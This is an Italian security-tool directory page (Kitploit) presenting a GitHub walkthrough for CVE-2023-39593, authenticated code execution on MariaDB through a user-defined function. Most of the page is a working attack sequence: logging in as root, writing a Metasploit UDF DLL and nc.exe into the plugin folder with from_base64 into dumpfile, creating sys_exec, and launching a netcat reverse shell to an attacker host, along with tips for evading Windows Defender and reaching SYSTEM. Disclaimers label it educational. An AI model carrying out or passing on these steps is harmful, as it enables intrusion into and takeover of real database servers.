Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-39593 — Esecuzione di codice autenticato dal database | Kitploit
Strumenti/GitHubGitHub/ant1sec-ops/cve-2023-39593
Escalation di PrivilegiExploitPost-ExploitPenetration TestingCommand and ControlApprendimento e FormazioneStrumento di Accesso RemotoSviluppo PayloadSicurezza dei Database
GitHubant1sec-ops/cve-2023-39593

CVE-2023-39593

Esecuzione di codice autenticato dal database

21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

MariaDB 10.5 Esecuzione di codice autenticata - sys_exec

Questa guida fornisce istruzioni dettagliate per sfruttare una vulnerabilità delle funzioni definite dall'utente (UDF) in MariaDB su un server remoto. Questi passaggi includono il download e l'esecuzione di codice malevolo su un sistema database vulnerabile.

Attenzione: Questo documento è solo a scopo educativo. L'uso non autorizzato di queste tecniche è illegale e non etico.

Passaggi per riprodurre l'attacco

1. Connettersi all'host remoto MariaDB

Usare il comando seguente per connettersi al server MySQL:

root@kitploit:~
mysql -h 192.168.214.129 -u root -pPassw0rd!

2. Verificare la versione di MariaDB

Per determinare la versione di MySQL in esecuzione, eseguire:

root@kitploit:~
select @@version;

3. Elencare tutti gli utenti

Per vedere l'utente corrente connesso:

root@kitploit:~
select user();

4. Estrarre tutte le informazioni sull'utente root

Recuperare tutti i dettagli relativi all'utente root:

root@kitploit:~
select * from mysql.user where user='root';

5. Verificare i privilegi dell'utente

Determinare quali privilegi ha l'utente corrente:

root@kitploit:~
show grants;

6. Verificare l'architettura del sistema

Determinare se l'architettura del sistema è vulnerabile alle UDF:

root@kitploit:~
select @@version_compile_os, @@version_compile_machine;

7. Verificare la directory dei plugin

Identificare la directory dei plugin dove possono essere caricati i file UDF:

root@kitploit:~
select @@plugin_dir;

8. Copiare la DLL a 32 bit

Copiare la DLL a 32 bit dalla directory degli exploit di Metasploit:

root@kitploit:~
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

9. Convertire la DLL in formato Base64

Codificare il file udf.dll in formato base64:

root@kitploit:~
cat udf.dll | base64 | tr -d '\n' > udf.base64

10. Trasferire la DLL sul server MySQL

Copiare il valore base64 da udf.base64 e trasferirlo nel server MySQL:

Aprire udf.base64 in un editor di testo:

root@kitploit:~
leafpad udf.base64

In MariaDB, eseguire:

root@kitploit:~
select from_base64("valore base64") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

In alternativa, usare il seguente percorso se necessario:

root@kitploit:~
C:\Program Files\MariaDB 11.1\lib\plugin\

11. Caricare la funzione UDF in MariaDB

Eseguire il comando seguente in MariaDB per creare una nuova funzione:

root@kitploit:~
create function sys_exec returns int soname 'udf.dll';

Nota: È possibile usare anche sys_eval, sys_get, do_system, o sys_bineval. Assicurarsi di usare int e non into.

12. Verificare l'installazione della UDF

Verificare se la funzione UDF è stata installata correttamente:

root@kitploit:~
select * from mysql.func;

13. Preparare il binario Netcat

Copiare l'eseguibile Netcat nella directory locale e codificarlo in base64:

root@kitploit:~
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64

14. Trasferire Netcat sul server MariaDB

Aprire nc.base64 in un editor di testo:

root@kitploit:~
leafpad nc.base64

Poi, in MySQL:

root@kitploit:~
select from_base64("valorebase64diNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

In alternativa, è possibile caricarlo direttamente usando:

root@kitploit:~
mysql -u root -p -h 192.168.214.129 < nc.base64

15. Eseguire Netcat per una reverse shell

Attivare il listener Netcat sulla porta 443:

root@kitploit:~
sudo nc -nlvp 443

Eseguire Netcat sul server remoto per una reverse shell:

root@kitploit:~
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

Nota: Questo passaggio potrebbe essere bloccato da Windows Defender o altri software antivirus. Considerare l'uso di comandi PowerShell codificati (powershellbase64) e assicurarsi che Defender sia disattivato.

16. Eseguire comandi PowerShell

Eseguire un comando PowerShell usando la codifica base64:

root@kitploit:~
select sys_exec('powershellbase64');

NOTA: In molti casi è possibile ottenere privilegi NT AUTHORITY\SYSTEM.

Informazioni aggiuntive

  • Eliminare una funzione: Per rimuovere eventuali funzioni UDF create:

    root@kitploit:~
    drop function sys_get;
    
  • Verificare local_infile: Controllare se la scrittura locale è abilitata:

    root@kitploit:~
    show variables like 'local_infile';
    
  • Trovare utenti con privilegio di inserimento: Identificare quali utenti hanno il privilegio di inserimento:

    root@kitploit:~
    use mysql;
    select user from user where insert_priv='Y' and Host='%';
    

Dichiarazione di non responsabilità: Questo documento è inteso solo a scopo educativo e per ricerca sulla sicurezza. L'uso improprio di queste informazioni può comportare accuse penali e severe sanzioni legali. Ottenere sempre il permesso dalle autorità competenti prima di testare qualsiasi vulnerabilità su una rete o un sistema.

Scarica lo strumento